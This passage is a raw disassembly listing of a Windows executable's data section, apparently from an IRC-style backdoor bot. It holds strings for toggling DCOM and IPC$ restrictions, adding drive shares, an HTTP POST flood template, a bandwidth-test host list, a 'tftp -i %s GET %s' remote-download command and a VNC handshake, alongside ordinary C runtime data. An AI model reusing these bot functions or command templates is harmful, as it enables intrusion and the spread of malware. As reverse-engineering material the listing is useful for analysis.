aRestrictedAcce db '- Restricted access to the IPC$ Share.',0
align 4
dword_438E38 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41CB8D+108o
aFailedToRestri db '- Failed to restrict access to the IPC$ Share.',0
align 4
aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_41CB8D+E9o
; sub_41CEAF+E9o
align 4
; char asc_438E88[]
asc_438E88 db '-' ; DATA XREF: sub_41CB8D+8Do
; sub_41CEAF+8Do
db 3, 34h, 2
dd 75636573h, 3026572h
aFailedToOpenDc db '- Failed to open DCOM registry key.',0
; char asc_438EB8[]
asc_438EB8 db '-' ; DATA XREF: sub_41CB8D:loc_41CBFCo
db 3, 34h, 2
dd 75636573h, 3026572h, 4344202Dh, 64204D4Fh, 62617369h
dd 2E64656Ch, 0
dword_438ED8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41CB8D+68o
aDisableDcomFai db '- Disable DCOM failed.',0
align 4
aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_41CB8D+50o
; sub_41CEAF+50o
align 4
; char asc_438F08[]
asc_438F08 db '-' ; DATA XREF: sub_41CEAF+2BDo
db 3, 34h, 2
dd 75636573h, 3026572h
aNetworkSharesA db '- Network shares added.',0
; char aC_0[]
aC_0 db '%c:\',0 ; DATA XREF: sub_41CEAF+227o
align 4
; char aC_1[]
aC_1 db '%c$',0 ; DATA XREF: sub_41CEAF+216o
; char asc_438F38[]
asc_438F38 db '-' ; DATA XREF: sub_41CEAF:loc_41D058o
; sub_41CEAF:loc_41D11Fo
db 3, 34h, 2
dd 75636573h, 3026572h
aFailedToAddSSh db '- Failed to add ',27h,'%s',27h,' share.',0
dword_438F60 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41CEAF+1A2o
; sub_41CEAF+269o
aShareSAdded_ db '- Share ',27h,'%s',27h,' added.',0
dword_438F80 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41CEAF:loc_41CFD2o
aFailedToOpen_0 db '- Failed to open IPC$ restriction registry key.',0
; char asc_438FBC[]
asc_438FBC db '-' ; DATA XREF: sub_41CEAF:loc_41CFBAo
db 3, 34h, 2
dd 75636573h, 3026572h
aUnrestrictedAc db '- Unrestricted access to the IPC$ Share.',0
align 4
dword_438FF4 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41CEAF+104o
aFailedToUnrest db '- Failed to unrestrict access to the IPC$ Share.',0
align 4
; char asc_439034[]
asc_439034 db '-' ; DATA XREF: sub_41CEAF:loc_41CF1Eo
db 3, 34h, 2
dd 75636573h, 3026572h, 4344202Dh, 65204D4Fh, 6C62616Eh
dd 2E6465h
dword_439050 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41CEAF+68o
aEnableDcomFail db '- Enable DCOM failed.',0
align 4
flt_439074 dd 9.765625e-4 ; DATA XREF: sub_41D235+1B9r
flt_439078 dd 8.0 ; DATA XREF: sub_41D235+1B3r
flt_43907C dd 0.0 ; DATA XREF: sub_41D235+170r
flt_439080 dd 1.0e-3 ; DATA XREF: sub_41D235:loc_41D39Cr
flt_439084 dd 4.2949673e9 ; DATA XREF: sub_41D235+161r
; sub_41D235+1AAr
; char aPostHttp1_0Hos[]
aPostHttp1_0Hos db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41D235+D5o
db 'Host: %s',0Dh,0Ah
db 'Content-Length: %d',0Dh,0Ah
db 0Dh,0Ah,0
align 10h
; char asc_4390C0[]
asc_4390C0 db '-' ; DATA XREF: sub_41D41B+1A7o
db 3, 34h, 2
dd 65657073h, 73657464h, 2D030274h, 75450220h, 65706F72h
dd 25203A02h, 626B2064h, 732F7469h, 53550220h, 203A0241h
dd 6B206425h, 2F746962h, 41022073h, 2616973h, 6425203Ah
dd 69626B20h, 20732F74h, 65764102h, 65676172h, 25203A02h
dd 626B2064h, 732F7469h, 0
aWww_google_co_ db 'www.google.co.jp',0 ; DATA XREF: sub_41D41B+C4o
align 4
aYahoo_co_jp db 'yahoo.co.jp',0 ; DATA XREF: sub_41D41B+BDo
aWww_nifty_com db 'www.nifty.com',0 ; DATA XREF: sub_41D41B+B6o
align 10h
aWww_d1asia_com db 'www.d1asia.com',0 ; DATA XREF: sub_41D41B+AFo
align 10h
aWww_st_lib_kei db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41D41B+A8o
align 4
aWww_lib_nthu_e db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41D41B+A1o
aWww_google_com db 'www.google.com',0 ; DATA XREF: sub_41D41B+9Ao
align 4
aWww_easynews_c db 'www.easynews.com',0 ; DATA XREF: sub_41D41B+93o
align 10h
aWww_above_net db 'www.above.net',0 ; DATA XREF: sub_41D41B+8Co
align 10h
aWww_level3_com db 'www.level3.com',0 ; DATA XREF: sub_41D41B+85o
align 10h
aNitro_ucsc_edu db 'nitro.ucsc.edu',0 ; DATA XREF: sub_41D41B+7Eo
align 10h
aWww_burst_net db 'www.burst.net',0 ; DATA XREF: sub_41D41B+77o
align 10h
aWww_cogentco_c db 'www.cogentco.com',0 ; DATA XREF: sub_41D41B+70o
align 4
aWww_rit_edu db 'www.rit.edu',0 ; DATA XREF: sub_41D41B+69o
aWww_nocster_co db 'www.nocster.com',0 ; DATA XREF: sub_41D41B+62o
aWww_verio_com db 'www.verio.com',0 ; DATA XREF: sub_41D41B+5Bo
align 10h
aWww_stanford_e db 'www.stanford.edu',0 ; DATA XREF: sub_41D41B+54o
align 4
aWww_xo_net db 'www.xo.net',0 ; DATA XREF: sub_41D41B+4Do
align 10h
aWww_google_it db 'www.google.it',0 ; DATA XREF: sub_41D41B+46o
align 10h
aDe_yahoo_com db 'de.yahoo.com',0 ; DATA XREF: sub_41D41B+3Fo
align 10h
aWww_belwue_de db 'www.belwue.de',0 ; DATA XREF: sub_41D41B+38o
align 10h
aWww_switch_ch db 'www.switch.ch',0 ; DATA XREF: sub_41D41B+31o
align 10h
aWww_1und1_de db 'www.1und1.de',0 ; DATA XREF: sub_41D41B+2Ao
align 10h
aVerio_fr db 'verio.fr',0 ; DATA XREF: sub_41D41B+23o
align 4
aWww_utwente_nl db 'www.utwente.nl',0 ; DATA XREF: sub_41D41B+1Co
align 4
aWww_schlund_ne db 'www.schlund.net',0 ; DATA XREF: sub_41D41B+15o
; char aDdDhDm[]
aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_41D5F8+39o
; char asc_4392D8[]
asc_4392D8 db '-' ; DATA XREF: sub_41D779+24Co
db 3, 34h, 2
dd 69737973h, 26F666Eh, 2202D03h, 2555043h, 4925203Ah
dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
dd 26B7369h, 7325203Ah, 746F7420h, 202C6C61h, 66207325h
dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
dd 74705502h, 2656D69h, 7325203Ah, 2Eh
aDdMmmYyyy db 'dd:MMM:yyyy',0 ; DATA XREF: sub_41D779+161o
; char aCouldnTResolve[]
aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41D779:loc_41D8ACo
align 4
; char aSS_5[]
aSS_5 db '%s (%s)',0 ; DATA XREF: sub_41D779+C0o
; char asc_4393E0[]
asc_4393E0 db '-' ; DATA XREF: sub_41D9E5+9Eo
db 3, 34h, 2
dd 6974656Eh, 26F666Eh, 2202D03h, 65707954h, 25203A02h
dd 25282073h, 202E2973h, 20504902h, 72646441h, 2737365h
dd 7325203Ah, 4802202Eh, 6E74736Fh, 2656D61h, 7325203Ah
dd 2Eh
; char off_439424[]
off_439424 dd offset loc_412F4C+2 ; DATA XREF: sub_41D9E5:loc_41DA52o
off_439428 dd offset dword_4E414C ; DATA XREF: sub_41D9E5:loc_41DA4Bo
; char aDialUp[]
aDialUp db 'Dial-up',0 ; DATA XREF: sub_41D9E5+57o
; char aNotConnected[]
aNotConnected db 'Not connected',0 ; DATA XREF: sub_41D9E5+41o
align 4
; char asc_439444[]
asc_439444 db '-' ; DATA XREF: sub_41DAA1:loc_41DC4Fo
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aFailedToGetReq db ' Failed to get requested URL from HTTP server.',0
align 10h
dword_439480 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 73697620h
; DATA XREF: sub_41DAA1+1A7o
dd 64657469h, 2Eh
unk_43949C db 2Dh ; - ; DATA XREF: sub_41DAA1+191o
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aFailedToConnec db ' Failed to connect to HTTP server.',0
align 4
unk_4394CC db 2Dh ; - ; DATA XREF: sub_41DAA1+162o
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aCouldNotOpenAC db ' Could not open a connection.',0
align 4
; char asc_4394F8[]
asc_4394F8 db '-' ; DATA XREF: sub_41DAA1+BEo
db 3, 34h, 2
dd 69736976h, 2D030274h, 766E4920h, 64696C61h, 4C525520h
dd 2Eh
dword_439514 dd 2A2F2Ah ; DATA XREF: sub_41DAA1+3Do
dword_439518 dd 2 dup(0) ; DATA XREF: sub_41DCBE+16o
dword_439520 dd 2 dup(0) ; DATA XREF: sub_41DCBE+Co
; .text:0041DE0Fo
aTftpISGetS db 'tftp -i %s GET %s',0 ; DATA XREF: .text:0041DFB8o
align 4
aC_2 db '%c',0 ; DATA XREF: .text:0041DF37o
align 10h
dword_439540 dd 0DFFh ; DATA XREF: .text:0041DE24o
dword_439544 dd 0EBFFh ; DATA XREF: .text:0041DE19o
dword_439548 dd 201h ; DATA XREF: .text:0041DE04o
aRfb003_008 db 'RFB 003.008',0Ah,0 ; DATA XREF: .text:0041DDF8o
align 4
aCorexitprocess db 'CorExitProcess',0 ; DATA XREF: unknown_libname_1+Fo
align 4
aMscoree_dll db 'mscoree.dll',0 ; DATA XREF: unknown_libname_1o
align 10h
oword_439580 xmmword 3FF00000000000003FF0000000000000h ; DATA XREF: _floor+E3r
oword_439590 xmmword 4330000000000000433h ; DATA XREF: _floor+46r
oword_4395A0 xmmword 4330000000000000BFF0000000000000h ; DATA XREF: _floor+10Er
oword_4395B0 xmmword 80000000000000008000000000000000h ; DATA XREF: _floor:ret_neg_oner
; _floor+106r
oword_4395C0 xmmword 7FFh ; DATA XREF: _floor+5Fr
dword_4395D0 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: _CxxThrowException(x,x)+Eo
dd 3, 19930520h, 2 dup(0)
oword_4395F0 xmmword 3FF00000000000003FF0000000000000h ; DATA XREF: _ceil+E3r
; _ceil+10Ar
oword_439600 xmmword 4330000000000000433h ; DATA XREF: _ceil+46r
oword_439610 xmmword 0 ; DATA XREF: _ceil:ret_oner
oword_439620 xmmword 7FFh ; DATA XREF: _ceil+5Fr
dbl_439630 db 0, 0, 0, 0, 0, 0, 0, 80h ; DATA XREF: _ceil:ret_zero_0r
stru_439638 _msEH <0FFFFFFFFh, offset loc_420A5C, offset loc_420A60>
; DATA XREF: __strupr+2o __output+5Er
align 8
stru_439648 _msEH <0FFFFFFFFh, offset loc_420EAF, offset loc_420EC3>
; DATA XREF: start+2o
align 8
byte_439658 db 6 ; DATA XREF: __output:loc_422334r
db 2 dup(0), 6
dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h
dd 0
db 8,'`h````',0
dd 78707000h, 8787878h, 807h, 8080007h, 8000008h, 7000800h
dd 8
aNull_0: ; DATA XREF: .data:off_4437D0o
unicode 0, <(null)>,0
align 4
aNull db '(null)',0 ; DATA XREF: .data:off_4437CCo
align 10h
stru_4396D0 _msEH <0FFFFFFFFh, offset sub_422B6F, offset sub_422B73>
; DATA XREF: sub_422B83-2Fo
dd 41h dup(0)
asc_4397E0: ; DATA XREF: .data:off_4437D8o
unicode 0, < ((((( H>
dw 10h
dd 7 dup(100010h), 5 dup(840084h), 3 dup(100010h), 810010h
dd 2 dup(810081h), 10081h, 9 dup(10001h), 100001h, 2 dup(100010h)
dd 820010h, 2 dup(820082h), 20082h, 9 dup(20002h), 100002h
dd 100010h, 200010h, 40h dup(0)
db 2 dup(0)
word_4399E2 dw 20h ; DATA XREF: .data:off_4437DCo
aHH:
unicode 0, < h(((( H>
dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
dd 3 dup(1810181h), 0Ah dup(1010101h), 3 dup(100010h)
dd 3 dup(1820182h), 0Ah dup(1020102h), 2 dup(100010h)
dd 10h dup(200020h), 480020h, 8 dup(100010h), 140010h
dd 100014h, 2 dup(100010h), 100014h, 2 dup(100010h), 1010010h
dd 0Bh dup(1010101h), 1010010h, 3 dup(1010101h), 0Ch dup(1020102h)
dd 1020010h, 3 dup(1020102h), 1010102h, 0
stru_439BE8 _msEH <0FFFFFFFFh, offset loc_423284, offset loc_423288>
; DATA XREF: sub_423257+2o
align 8
stru_439BF8 _msEH <0FFFFFFFFh, offset loc_4232C8, offset loc_4232CC>
; DATA XREF: sub_42329B+2o
align 8
stru_439C08 _msEH <0FFFFFFFFh, offset loc_4239CB, offset loc_4239CF>
; DATA XREF: __input+5o
dd 2 dup(0)
dd 7FF00000h, 0
dd 0FFF00000h, 0
dd 7FE00000h, 0
dd 200000h, 3 dup(0)
dd 80000000h, 7F800000h, 0FF800000h, 7FC00000h, 0FFC00000h
dd 0
dd 80000000h, 7149F2CAh, 0F149F2CAh, 0DA24260h, 8DA24260h
dd 0C2F8F359h, 1A56E1Fh, 0C2F8F359h, 81A56E1Fh
aAtan db 'atan',0 ; DATA XREF: ___libm_error_support:loc_4245CAo
align 4
aCeil db 'ceil',0 ; DATA XREF: ___libm_error_support:loc_4245C1o
align 10h
aFloor db 'floor',0 ; DATA XREF: ___libm_error_support:loc_4245B8o
align 4
aModf db 'modf',0 ; DATA XREF: ___libm_error_support+20Fo
align 10h
aExp2 db 'exp2',0 ; DATA XREF: ___libm_error_support:loc_424543o
align 4
aExp10 db 'exp10',0 ; DATA XREF: ___libm_error_support+1A2o
align 10h
aLog2 db 'log2',0 ; DATA XREF: ___libm_error_support:loc_424510o
; ___libm_error_support+192o
align 4
aPow db 'pow',0 ; DATA XREF: ___libm_error_support:loc_42443Bo
; ___libm_error_support+CFo ...
aLog10 db 'log10',0 ; DATA XREF: ___libm_error_support:loc_4243FEo
; ___libm_error_support+7Co ...
align 4
aExp db 'exp',0 ; DATA XREF: ___libm_error_support+4Eo
; ___libm_error_support+61o ...
stru_439CC8 _msEH <0FFFFFFFFh, offset loc_42463E, offset loc_424642>
; DATA XREF: _has_osfxsr_set+2o
; char aAuthenticamd[]
aAuthenticamd db 'AuthenticAMD',0 ; DATA XREF: ___sse2_available_init+73o
align 8
dbl_439CE8 dq 1.0 ; DATA XREF: __floor_default+6Dr
; __ms_p5_test_fdiv+2Ar ...
dbl_439CF0 dq 0.0 ; DATA XREF: __positive+6r
; __handle_exc+8Dr ...
; char aE000[]
aE000 db 'e+000',0 ; DATA XREF: __cftoe+93o
align 10h
dbl_439D00 dq 4.195835e6 ; DATA XREF: __ms_p5_test_fdiv+Fr
dbl_439D08 dq 3.145727e6 ; DATA XREF: __ms_p5_test_fdiv+6r
aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: __ms_p5_mp_test_fdiv+Fo
align 4
aKernel32 db 'KERNEL32',0 ; DATA XREF: __ms_p5_mp_test_fdivo
align 4
stru_439D38 _msEH <0FFFFFFFFh, 0, offset sub_424D5E>
; DATA XREF: ___FrameUnwindToState+2o
align 8
dd offset loc_424D24
dd offset loc_424D2D
stru_439D50 _msEH <0FFFFFFFFh, offset sub_424DA8, offset sub_424DB1>
; DATA XREF: ___DestructExceptionObject+2o
align 10h
stru_439D60 _msEH <0FFFFFFFFh, 0, offset sub_424F16>
; DATA XREF: CallCatchBlock(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,_s_FuncInfo const *,void *,int,ulong)+2o
align 10h
dd offset loc_424E52
dd offset loc_424EA1
stru_439D78 _msEH <0FFFFFFFFh, offset sub_4250F2, offset sub_4250F6>
; DATA XREF: BuildCatchObject(EHExceptionRecord *,void *,_s_HandlerType const *,_s_CatchableType const *)+2o
align 8
stru_439D88 _msEH <0FFFFFFFFh, offset loc_4254D2, offset loc_4254D6>
; DATA XREF: sub_4254B5+2o
align 8
stru_439D98 _msEH <0FFFFFFFFh, offset loc_4254FF, offset loc_425503>
; DATA XREF: sub_4254E2+2o
dword_439DA4 dd 0 ; DATA XREF: ___crtLCMapStringA+1Co
; ___crtGetStringTypeA+1Eo ...
stru_439DA8 _msEH <0FFFFFFFFh, offset loc_425E4E, offset loc_425E52>
; DATA XREF: ___crtLCMapStringA+2o
dd 0FFFFFFFFh, 425C4Bh, 425C4Fh, 0FFFFFFFFh, 425D19h, 425D1Dh
dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
aDomainError db 'DOMAIN error',0Dh,0Ah,0
align 10h
aR6029ThisAppli db 'R6029',0Dh,0Ah
db '- This application cannot run using the active version of the Mic'
db 'rosoft .NET Runtime',0Ah
db 'Please contact the application',27h,'s support team for more informa'
db 'tion.',0Dh,0Ah,0
align 4
aR6028UnableToI db 'R6028',0Dh,0Ah
db '- unable to initialize heap',0Dh,0Ah,0
align 4
aR6027NotEnough db 'R6027',0Dh,0Ah
db '- not enough space for lowio initialization',0Dh,0Ah,0
align 4
aR6026NotEnough db 'R6026',0Dh,0Ah
db '- not enough space for stdio initialization',0Dh,0Ah,0
align 4
aR6025PureVirtu db 'R6025',0Dh,0Ah
db '- pure virtual function call',0Dh,0Ah,0
align 4
aR6024NotEnough db 'R6024',0Dh,0Ah
db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
align 4
aR6019UnableToO db 'R6019',0Dh,0Ah
db '- unable to open console device',0Dh,0Ah,0
align 4
aR6018Unexpecte db 'R6018',0Dh,0Ah
db '- unexpected heap error',0Dh,0Ah,0
align 4
aR6017Unexpecte db 'R6017',0Dh,0Ah
db '- unexpected multithread lock error',0Dh,0Ah,0
align 4
aR6016NotEnough db 'R6016',0Dh,0Ah
db '- not enough space for thread data',0Dh,0Ah,0
aThisApplicatio db 0Dh,0Ah
db 'This application has requested the Runtime to terminate it in an '
db 'unusual way.',0Ah
db 'Please contact the application',27h,'s support team for more informa'
db 'tion.',0Dh,0Ah,0
align 10h
aR6009NotEnough db 'R6009',0Dh,0Ah
db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough db 'R6008',0Dh,0Ah
db '- not enough space for arguments',0Dh,0Ah,0
align 4
aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: .data:off_443A8Co
db '- floating point not loaded',0Dh,0Ah,0
align 10h
aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: __NMSG_WRITE+123o
; ___security_error_handler+132o
align 4
; char asc_43A198[]
asc_43A198 db 0Ah ; DATA XREF: __NMSG_WRITE+107o
; ___security_error_handler+FCo
db 0Ah,0
align 4
; char aRuntimeErrorPr[]
aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: __NMSG_WRITE+F5o
db 0Ah
db 'Program: ',0
align 4
; char a___[]
a___ db '...',0 ; DATA XREF: __NMSG_WRITE+C1o
; ___security_error_handler+CCo
; char aProgramNameUnk[]
aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: __NMSG_WRITE+8Eo
; ___security_error_handler+8Bo
align 8
stru_43A1D8 _msEH <0FFFFFFFFh, offset loc_426E79, offset loc_426E7D>
; DATA XREF: ___crtGetStringTypeA+2o
; char aProgram[]
aProgram db 'Program: ',0 ; DATA XREF: ___security_error_handler+108o
align 10h
aABufferOverrun db 'A buffer overrun has been detected which has corrupted the progra'
; DATA XREF: ___security_error_handler+62o
db 'm',27h,'s',0Ah
db 'internal state. The program cannot safely continue execution and'
db ' must',0Ah
db 'now be terminated.',0Ah,0
aBufferOverrunD db 'Buffer overrun detected!',0
; DATA XREF: ___security_error_handler:loc_42701Do
align 10h
aASecurityError db 'A security error of unknown cause has been detected which has',0Ah
; DATA XREF: ___security_error_handler+4Co
db 'corrupted the program',27h,'s internal state. The program cannot sa'
db 'fely',0Ah
db 'continue execution and must now be terminated.',0Ah,0
align 4
; char aUnknownSecurit[]
aUnknownSecurit db 'Unknown security failure detected!',0
; DATA XREF: ___security_error_handler+47o
align 4
stru_43A388 _msEH <0FFFFFFFFh, offset loc_426FF8, offset loc_426FFC>
; DATA XREF: ___security_error_handler+5o
a_nextafter db '_nextafter',0
align 10h
a_logb db '_logb',0
align 4
a_yn db '_yn',0
a_y1 db '_y1',0
a_y0 db '_y0',0
aFrexp db 'frexp',0
align 4
aFmod db 'fmod',0
align 4
a_hypot db '_hypot',0
align 4
a_cabs db '_cabs',0
align 4
aLdexp db 'ldexp',0
align 4
aFabs db 'fabs',0
align 4
aTan db 'tan',0
aCos db 'cos',0
aSin db 'sin',0
aSqrt db 'sqrt',0
align 4
aAtan2 db 'atan2',0
align 10h
aAcos db 'acos',0
align 4
aAsin db 'asin',0
align 10h
aTanh db 'tanh',0
align 4
aCosh db 'cosh',0
align 10h
aSinh db 'sinh',0
align 4
stru_43A428 _msEH <0FFFFFFFFh, offset loc_4283F0, offset loc_4283F4>
; DATA XREF: ___convertcp+2o
aGetprocesswind db 'GetProcessWindowStation',0 ; DATA XREF: ___crtMessageBoxA+73o
aGetuserobjecti db 'GetUserObjectInformationA',0 ; DATA XREF: ___crtMessageBoxA+62o
align 4
aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: ___crtMessageBoxA+47o
align 4
aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: ___crtMessageBoxA+3Fo
aMessageboxa db 'MessageBoxA',0 ; DATA XREF: ___crtMessageBoxA+2Eo
; char a1Qnan[]
a1Qnan db '1#QNAN',0 ; DATA XREF: _$I10_OUTPUT:loc_4290D4o
align 10h
; char a1Inf[]
a1Inf db '1#INF',0 ; DATA XREF: _$I10_OUTPUT+CFo
align 4
a1Ind db '1#IND',0 ; DATA XREF: _$I10_OUTPUT+BEo
align 10h
a1Snan db '1#SNAN',0 ; DATA XREF: _$I10_OUTPUT+A4o
align 4
dd offset dword_43A5F4
off_43A4BC dd offset sub_429779 ; DATA XREF: sub_429712+20o
; sub_42975C+Ao ...
dd offset unknown_libname_8 ; Microsoft VisualC 2-8/net runtime
dd offset dword_43A640
off_43A4C8 dd offset sub_429795 ; DATA XREF: sub_4297B1o
; sub_42987E+33o ...
dd offset unknown_libname_8 ; Microsoft VisualC 2-8/net runtime
dd offset dword_43A68C
off_43A4D4 dd offset sub_4297BC ; DATA XREF: sub_4297D8o
; sub_4297E3+33o ...
dd offset unknown_libname_8 ; Microsoft VisualC 2-8/net runtime
; char aInvalidStringP[]
aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_4297E3+Do
; char aStringTooLong[]
aStringTooLong db 'string too long',0 ; DATA XREF: sub_42987E+Do
dd offset dword_43A6D0
off_43A508 dd offset ??_Gtype_info@@UAEPAXI@Z ; DATA XREF: type_info::~type_info(void)o
; .data:off_443FC4o ...
; type_info::`scalar deleting destructor'(uint)
dd offset dword_43A6FC
off_43A510 dd offset sub_429A44 ; DATA XREF: sub_4299C6+Ao
; exception::exception(exception const &)+8o ...
dd offset unknown_libname_9 ; Microsoft VisualC 2-8/net runtime
aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: unknown_libname_9+7o
align 10h
stru_43A530 _msEH <0FFFFFFFFh, offset loc_429C94, offset loc_429C98>
; DATA XREF: ___crtLCMapStringW+2o
dd 0FFFFFFFFh, 429D21h, 429D25h
stru_43A548 _msEH <0FFFFFFFFh, offset loc_429F28, offset loc_429F2C>
; DATA XREF: ___crtGetStringTypeW+2o
dd 0FFFFFFFFh, 429F9Ah, 429F9Eh, 48h, 0Eh dup(0)
dd offset dword_4437D4
dd offset dword_43A710
dword_43A5A4 dd 0Ah, 443FC4h, 2 dup(0) ; DATA XREF: .rdata:0043A5DCo
; .rdata:0043A628o ...
dd 0FFFFFFFFh, 2 dup(0)
off_43A5C0 dd offset off_443FDC ; DATA XREF: .rdata:0043A5D8o
; .rdata:0043A624o ...
dd 1, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_43A5C0
dd offset dword_43A5A4+4
dword_43A5E0 dd 3 dup(0) ; DATA XREF: .rdata:0043A604o
dd 2, 43A5D8h
dword_43A5F4 dd 3 dup(0) ; DATA XREF: .rdata:0043A4B8o
dd offset off_443FDC
dd offset dword_43A5E0+4
off_43A608 dd offset off_443FFC ; DATA XREF: .rdata:0043A620o
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_43A608
dd offset off_43A5C0
dd offset dword_43A5A4+4
dword_43A62C dd 3 dup(0) ; DATA XREF: .rdata:0043A650o
dd 3, 43A620h
dword_43A640 dd 3 dup(0) ; DATA XREF: .rdata:0043A4C4o
dd offset off_443FFC
dd offset dword_43A62C+4
off_43A654 dd offset off_44401C ; DATA XREF: .rdata:0043A66Co
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_43A654
dd offset off_43A5C0
dd offset dword_43A5A4+4
dword_43A678 dd 3 dup(0) ; DATA XREF: .rdata:0043A69Co
dd 3, 43A66Ch
dword_43A68C dd 3 dup(0) ; DATA XREF: .rdata:0043A4D0o
dd offset off_44401C
dd offset dword_43A678+4
off_43A6A0 dd offset off_44403C ; DATA XREF: .rdata:0043A6B8o
dd 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_43A6A0
dword_43A6BC dd 3 dup(0) ; DATA XREF: .rdata:0043A6E0o
dd 1, 43A6B8h
dword_43A6D0 dd 3 dup(0) ; DATA XREF: .rdata:0043A504o
dd offset off_44403C
dd offset dword_43A6BC+4
dd offset dword_43A5A4+4
dword_43A6E8 dd 3 dup(0) ; DATA XREF: .rdata:0043A70Co
dd 1, 43A6E4h
dword_43A6FC dd 3 dup(0) ; DATA XREF: .rdata:0043A50Co
dd offset off_443FC4
dd offset dword_43A6E8+4
dword_43A710 dd 1FF7Fh, 2007Fh, 20294h, 25F68h, 2A056h, 2A068h, 2A082h
; DATA XREF: .rdata:0043A5A0o
dd 2A09Ah, 2A0ACh, 2A0BEh, 0
dword_43A73C dd 2 dup(0) ; DATA XREF: sub_423257+Co
; sub_423257:loc_42326Ao
dword_43A744 dd 0 ; DATA XREF: sub_42329B+Co
; sub_42329B:loc_4232AEo
stru_43A748 _msExcInfo 2 dup(<-1, 0>) ; DATA XREF: .rdata:stru_43A7B0o
_msExcInfo 2 dup(<1, 0>)
stru_43A768 _msRttiDscr <0, 0, 0, offset sub_40F0F7> ; DATA XREF: .rdata:stru_43A788o
stru_43A778 _msRttiDscr <0, 0, 0, offset loc_40F083> ; DATA XREF: .rdata:stru_43A788o
stru_43A788 dd 2, 2, 3 ; _unk ; DATA XREF: .rdata:stru_43A7B0o
dd 1 ; Count
dd offset stru_43A768 ; RttiBlkPtr
dd 0, 0, 3 ; _unk
dd 1 ; Count
dd offset stru_43A778 ; RttiBlkPtr
stru_43A7B0 _msExcept7 <19930520h, 4, offset stru_43A748, 2, offset stru_43A788, 0>
; DATA XREF: unknown_libname_10o
stru_43A7CC _msExcInfo <-1, offset sub_42A060> ; DATA XREF: .rdata:stru_43A7D4o
stru_43A7D4 _msExcept7 <19930520h, 1, offset stru_43A7CC, 0, 0, 0>
; DATA XREF: .text:loc_42A068o
stru_43A7F0 _msExcInfo <-1, offset sub_42A072> ; DATA XREF: .rdata:stru_43A800o
_msExcInfo <0, offset sub_42A07A>
stru_43A800 _msExcept7 <19930520h, 2, offset stru_43A7F0, 0, 0, 0>
; DATA XREF: sub_42A082o
stru_43A81C _msExcInfo <-1, offset sub_42A08C> ; DATA XREF: .rdata:stru_43A824o
stru_43A824 _msExcept7 <19930520h, 1, offset stru_43A81C, 0, 0, 0>
; DATA XREF: .text:loc_42A09Ao
dd 0FFFFFFFFh, 42A0A4h, 19930520h, 1, 43A840h, 5 dup(0)
dd offset off_443FC4
align 10h
dd 0FFFFFFFFh, 0
dd 0Ch, 4299D7h, 0
dd offset off_443FDC
dd 0
dd 0FFFFFFFFh, 0
dd 28h, 429823h, 0
dd offset off_44401C
align 8
dd 0FFFFFFFFh, 0
dword_43A8B0 dd 28h, 429866h, 3, 43A89Ch, 43A880h, 43A864h ; DATA XREF: .rdata:0043A8D4o
dword_43A8C8 dd 0 ; DATA XREF: sub_4297E3+2Ao
dd offset sub_4297D8
dd 0
dd offset dword_43A8B0+8
dd 0FFFFFFFFh, 42A0B6h, 19930520h, 1, 43A8D8h, 4 dup(0)
stru_43A8FC _msExcInfo <-1, offset sub_42A0A4> ; DATA XREF: .rdata:stru_43A904o
stru_43A904 _msExcept7 <19930520h, 1, offset stru_43A8FC, 0, 0, 0>
; DATA XREF: .text:loc_42A0ACo
dd 0
dd offset off_443FFC
dd 0
dd 0FFFFFFFFh, 0
dword_43A934 dd 28h, 4298BEh, 3, 43A920h, 43A880h, 43A864h ; DATA XREF: .rdata:0043A958o
